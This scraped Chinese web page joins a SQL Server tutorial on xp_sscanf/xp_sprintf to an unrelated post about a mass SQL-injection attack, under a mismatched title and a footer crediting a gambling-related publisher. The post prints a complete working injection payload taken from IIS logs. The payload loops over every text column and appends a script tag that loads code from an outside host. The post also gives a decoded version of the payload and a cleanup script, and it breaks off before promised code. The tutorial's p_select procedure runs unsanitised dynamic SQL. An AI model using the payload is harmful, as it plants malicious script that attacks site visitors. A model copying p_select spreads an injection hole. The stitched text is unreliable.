浅析SQLServer中的Scanf与Printf
SQLServer中有两个扩展存储过程实现Scanf和Printf功能,恰当的使用它们可以在提取和拼接字符串时大幅度简化SQL代码。1、xp_sscanf,用它可以分解格式相对固定的字符串,这对于厌倦使用一堆substring和charindex的朋友来说不错。比如前几天的一个帖子中提出的如何分解ip地址,相对简练且通用的代码应该是下面这样复制代码 代码如下:if (object_id ('f_getip' ) is not null )drop function f_getip go create function dbo . f_getip (@ ip varchar (100 ))returns @ t table (a int , b int , c int , d int )as begin set @ ip = replace (@ ip , '.' , ' ' ) declare @ s1 varchar (3 ) , @ s2 varchar (3 ), @ s3 varchar (3 ) , @ s4 varchar (3 ) exec xp_sscanf @ ip , '%s %s %s %s' , @ s1 output , @ s2 output , @ s3 output , @ s4 output insert into @ t select @ s1 , @ s2 , @ s3 , @ s4 return end go select * from dbo . f_getip ('192.168.0.1' )go /* a b c d ----------- ----------- ----------- ----------- 192 168 0 1 */ 2、xp_sprintf,用它可以拼接出一个字符串而不用担心过多的加号很引号难以控制,比如一个动态执行sql语句的存储过程复制代码 代码如下:if (object_id ('p_select' ) is not null )drop proc p_select go create proc p_select (@ tb varchar (100 ), @ cols varchar (100 ), @ wherecol varchar (100 ), @ value varchar (100 ))as begin declare @ s varchar (8000 ) exec xp_sprintf @ s output , 'select %s from %s where %s=''%s''' , @ cols , @ tb , @ wherecol , @ value exec (@ s)end go exec p_select 'sysobjects' , 'id,xtype,crdate' , 'name' , 'p_select' /* id xtype crdate ----------- ----- ----------------------- 898102240 P 2009-08-18 03:01:51.153 */
首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html
author:perfectaction
date :2009.05
适用于sql 2005/2008
从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入">
</title> <script src=http://s.see9.us/s.js>
<或是3b3.org等字符
我也遇到过,通过分析iis日志,搜索"Update ",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp
id=8826;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR select a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b where a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('Update ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -
这段代码我还原后如下:
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor fetch next from table_cursor
into @t,@c
while(@@fetch_status=0)
begin
print('update [' @t '] set [' @c ']=rtrim(convert(varchar,[' @c '])) cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS varchar(67))')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor
实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.
同理,若要去掉这些字符,也可以利用上面的代码:
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' @t '] set [' @c ']=replace(cast([' @c '] as varchar(8000)),''' @str ''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.
往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:
本文由美洲杯波胆发布于计算机教程,转载请注明出处:浅析SQLServer中的Scanf与Printf
关键词: